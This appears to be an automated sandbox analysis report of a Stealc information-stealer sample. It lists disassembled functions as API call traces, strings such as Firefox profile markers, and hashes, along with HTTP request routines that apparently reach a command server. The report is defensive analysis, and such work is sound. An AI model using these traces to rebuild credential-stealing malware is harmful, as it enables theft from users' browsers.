Part of subcall function 006399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
Part of subcall function 006399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
Part of subcall function 006399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
Part of subcall function 006399C0: ReadFile.KERNEL32(000000FF,?,00000000,006402E7,00000000), ref: 00639A5A
Part of subcall function 006399C0: LocalFree.KERNEL32(006402E7), ref: 00639A90
Part of subcall function 006399C0: CloseHandle.KERNEL32(000000FF), ref: 00639A9A

Part of subcall function 00648E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00648E52

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00651580,00650D92), ref: 0063F54C
lstrlenA.KERNEL32(00000000), ref: 0063F56B

Strings

moz-extension+++, xrefs: 0063F5AD
^userContextId=4294967295, xrefs: 0063F59C

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 426ad6a81c77e2905f8f2d2f8853a88871deab3db78c357a9d859073dc26567a
Instruction ID: 751f91f26d3546047b748572e1a66ba990918fc2232dca2fa5161e5f8145d2ff
Opcode Fuzzy Hash: 426ad6a81c77e2905f8f2d2f8853a88871deab3db78c357a9d859073dc26567a
Instruction Fuzzy Hash: 33513075D50108BAEB54FBE0DC96DED733AEF54300F40852CF806A7191EE34AA09CBA6

Function 00648680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006505B7), ref: 006486CA
Process32First.KERNEL32(?,00000128), ref: 006486DE
Process32Next.KERNEL32(?,00000128), ref: 006486F3

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

CloseHandle.KERNEL32(?), ref: 00648761

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: b56fe6924131f12ce1289d5cf0a4c8c36cbdc287b9346d6dab0d4f1ff1d39d67
Instruction ID: 070480f9126f1f684258da8023bb9b1443f6021f2b86b5576a055c8144a5b231
Opcode Fuzzy Hash: b56fe6924131f12ce1289d5cf0a4c8c36cbdc287b9346d6dab0d4f1ff1d39d67
Instruction Fuzzy Hash: 5B314D71941218AFDB68DF94CC55FEEB77AFB45700F10419DE50AA21A0DB306A85CFA1

Function 00644F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00648E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00644F7A
lstrcatA.KERNEL32(?,00651070), ref: 00644F97
lstrcatA.KERNEL32(?,00F6D868), ref: 00644FAB
lstrcatA.KERNEL32(?,00651074), ref: 00644FBD

Part of subcall function 00644910: wsprintfA.USER32 ref: 0064492C
Part of subcall function 00644910: FindFirstFileA.KERNEL32(?,?), ref: 00644943

Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FDC), ref: 00644971
Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FE0), ref: 00644987
Part of subcall function 00644910: FindNextFileA.KERNEL32(000000FF,?), ref: 00644B7D
Part of subcall function 00644910: FindClose.KERNEL32(000000FF), ref: 00644B92

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 4b4bbac4d30167041176ce886283fe38d8c98b755f1407b75ddde763ccf497f7
Instruction ID: a8d4f5d0ed1e8d0d846e7d1ea56a9a7787d271a94801fac0d88bb38452f3c452
Opcode Fuzzy Hash: 4b4bbac4d30167041176ce886283fe38d8c98b755f1407b75ddde763ccf497f7
Instruction Fuzzy Hash: 0E219BB69002046BD794FBB0DC4AEED333EBB95301F004558B65D97185EE74DAC88B97

Function 00647A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00F70440,00000000,?,00650E10,00000000,?,00000000,00000000), ref: 00647A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00F70440,00000000,?,00650E10,00000000,?,00000000,00000000,?), ref: 00647A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00F70440,00000000,?,00650E10,00000000,?,00000000,00000000,?), ref: 00647A7D
wsprintfA.USER32 ref: 00647AB7

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: dbf220ff9781b49afb949352c8e0c98b76512b6b301755dfa4dbd1f348854fa3
Instruction ID: 4cfe79570bf777780da11645cf4f05eb37b4b26d840d453d683bad55e93bc21b
Opcode Fuzzy Hash: dbf220ff9781b49afb949352c8e0c98b76512b6b301755dfa4dbd1f348854fa3
Instruction Fuzzy Hash: E6118EB1A45218EBEB24CB54DC49FA9B778FB44721F1043AAE90A932C0C7745A80CF52

Function 00646AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F61410,?,0065110C,?,00000000,?,00651110,?,00000000,00650AEF), ref: 00646ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00646AE8
CloseHandle.KERNEL32(00000000), ref: 00646AF9
Sleep.KERNEL32(00001770), ref: 00646B04
CloseHandle.KERNEL32(?,00000000,?,00F61410,?,0065110C,?,00000000,?,00651110,?,00000000,00650AEF), ref: 00646B1A
ExitProcess.KERNEL32 ref: 00646B22

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: c0afdf08a5d83abe3ec16fbd8289815371263b68301d4d907453347d092da10c
Instruction ID: d94f6813d9c13335d700c66343b028fed51d154367f7af6f379548ef9aa0bfbf
Opcode Fuzzy Hash: c0afdf08a5d83abe3ec16fbd8289815371263b68301d4d907453347d092da10c
Instruction Fuzzy Hash: 4CF08270940219AFE744ABA0DD0ABBD7B76FB06741F104918F917E11C5CBB095C1D65B

Function 00636D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`oc, xrefs: 00636E94, 00636DD2, 00636EAF, 00636E5E, 00636DAE

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID:
String ID: `oc
API String ID: 0-2169001400
Opcode ID: c9a140cb0beacb295a1da5cb21e6368fd605335c43d5a1a787572f9312a53fb6
Instruction ID: cdb964667c6cf30dad42d2a568680153ce8c2fbb59247c41f7b803f6d00c199c
Opcode Fuzzy Hash: c9a140cb0beacb295a1da5cb21e6368fd605335c43d5a1a787572f9312a53fb6
Instruction Fuzzy Hash: 9061E3B4900218EFCB14DF94E984BEEB7B2BB48304F208598F519A7380D775AE95DF91

Function 00644BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00648E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00644BEA
lstrcatA.KERNEL32(?,00F70A08), ref: 00644C08

Part of subcall function 00644910: wsprintfA.USER32 ref: 0064492C
Part of subcall function 00644910: FindFirstFileA.KERNEL32(?,?), ref: 00644943

Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FDC), ref: 00644971
Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FE0), ref: 00644987
Part of subcall function 00644910: FindNextFileA.KERNEL32(000000FF,?), ref: 00644B7D
Part of subcall function 00644910: FindClose.KERNEL32(000000FF), ref: 00644B92

Part of subcall function 00644910: wsprintfA.USER32 ref: 006449B0
Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,006508D2), ref: 006449C5
Part of subcall function 00644910: wsprintfA.USER32 ref: 006449E2
Part of subcall function 00644910: PathMatchSpecA.SHLWAPI(?,?), ref: 00644A1E
Part of subcall function 00644910: lstrcatA.KERNEL32(?,00F6D908,?,000003E8), ref: 00644A4A
Part of subcall function 00644910: lstrcatA.KERNEL32(?,00650FF8), ref: 00644A5C
Part of subcall function 00644910: lstrcatA.KERNEL32(?,?), ref: 00644A70
Part of subcall function 00644910: lstrcatA.KERNEL32(?,00650FFC), ref: 00644A82
Part of subcall function 00644910: lstrcatA.KERNEL32(?,?), ref: 00644A96
Part of subcall function 00644910: CopyFileA.KERNEL32(?,?,00000001), ref: 00644AAC
Part of subcall function 00644910: DeleteFileA.KERNEL32(?), ref: 00644B31

Part of subcall function 00644910: wsprintfA.USER32 ref: 00644A07

Strings

Uad, xrefs: 00644C2F, 00644C64, 00644C9A, 00644CCF, 00644D05, 00644D3A, 00644D5F, 00644C32, 00644C67, 00644C9D, 00644CD2, 00644D08, 00644D3D

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: Uad
API String ID: 2104210347-2735721198
Opcode ID: ab6b8f79ec5b6cca8e761290a0df2152085787c9cb681d5867b86f76021a22af
Instruction ID: b01f1b3c7516fe267ad3124f8f096f3a47795c4886cd97a1ff967a435aae9fcd
Opcode Fuzzy Hash: ab6b8f79ec5b6cca8e761290a0df2152085787c9cb681d5867b86f76021a22af
Instruction Fuzzy Hash: BE4175B75001046BD798FBA0EC46EEE333EA7D5700F00855CB54A9728AED759BC88BD6

Function 006451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 00636280: InternetOpenA.WININET(00650DFE,00000001,00000000,00000000,00000000), ref: 006362E1
Part of subcall function 00636280: StrCmpCA.SHLWAPI(?,00F6D938), ref: 00636303
Part of subcall function 00636280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00636335
Part of subcall function 00636280: HttpOpenRequestA.WININET(00000000,GET,?,00F6FDF8,00000000,00000000,00400100,00000000), ref: 00636385
Part of subcall function 00636280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006363BF
Part of subcall function 00636280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006363D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00645228

Strings

ERROR, xrefs: 00645273
ERROR, xrefs: 0064521A

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
